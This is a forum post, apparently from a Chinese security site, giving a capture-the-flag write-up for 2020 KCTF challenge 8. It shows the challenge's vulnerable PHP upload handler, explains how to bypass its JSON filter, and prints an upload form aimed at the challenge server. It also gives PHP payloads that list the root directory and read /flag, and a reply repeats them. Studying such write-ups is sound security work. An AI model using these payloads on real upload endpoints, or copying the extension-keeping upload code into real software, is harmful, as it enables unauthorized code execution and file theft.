首页
社区
课程
招聘
[原创] 2020KCTF 第八题 牛刀小试 wp
2020-4-30 18:11 5924

[原创] 2020KCTF 第八题 牛刀小试 wp

2020-4-30 18:11
5924

首先打开 http://47.102.223.17:2333/ ,发现给出了源代码。

<?php 
if (isset($_FILES["file"]["tmp_name"])) { 
    $file = fopen($_FILES["file"]["tmp_name"], "r"); 
    $data = fread($file, filesize($_FILES["file"]["tmp_name"])); 
    $arr = json_decode($data, true, 2); 
    if (json_last_error() != JSON_ERROR_NONE) { 
        die("JsonErr"); 
    } 
    if (count($arr) != 1) { 
        die("DataErr"); 
    } 
    $data = $arr['data']; 
    $len = strlen($data); 
    if ($len > 56) { 
        die("Long"); 
    } 
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { 
        die("no"); 
    } 
    $name = mt_rand(); 
    $ext = strrchr($_FILES['file']['name'], '.'); 
    $ext = trim($ext); 
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); 
    echo "upload/" . $name . $ext; 
} else { 
    highlight_file(__FILE__); 
} 
?>

这段程序首先读取浏览器上传的文件,这个文件必须是有效的JSON文件,并且对象长度必须是1。接下来校验$arr['data']的长度必须小于等于56,且不能含有一系列特殊符号。针对这个检查,只要让我们的JSON根本不包含data这个key就直接绕过了。最后上传的文件被储存时保留了后缀,所以我们用.php后缀,就能达到代码执行的目的。

 

本地用来上传文件的up.html:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Uploader</title>
    </head>
    <body>
        <form enctype="multipart/form-data" action="http://47.102.223.17:2333/" method="POST">
            <input type="file" name="file">
            <button type="submit">Send</button>
        </form>
    </body>
</html>

根据提示flag在根目录,所以第一次上传的文件data.php:

{
    "hello": "<?php echo implode(' ', glob('/*')); ?>"
}

服务器返回:upload/1179490546.php。
访问这个php,得到根目录文件列表:
列目录
显然/flag就是flag。第二次上传的文件r.php:

{
    "hello": "<?php echo file_get_contents('/flag'); ?>"
}

返回:upload/772416736.php
访问这个php,得到flag:
flag


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-4-30 20:10 被3352编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 5568
活跃值: (3001)
能力值: ( LV12,RANK:394 )
在线值:
发帖
回帖
粉丝
htg 4 2020-5-1 21:04
2
0
简洁高效:
暴露目标:
<?php echo implode(' ', glob('/*')); ?>
直奔主题:
<?php echo file_get_contents('/flag'); ?>
游客
登录 | 注册 方可回帖
返回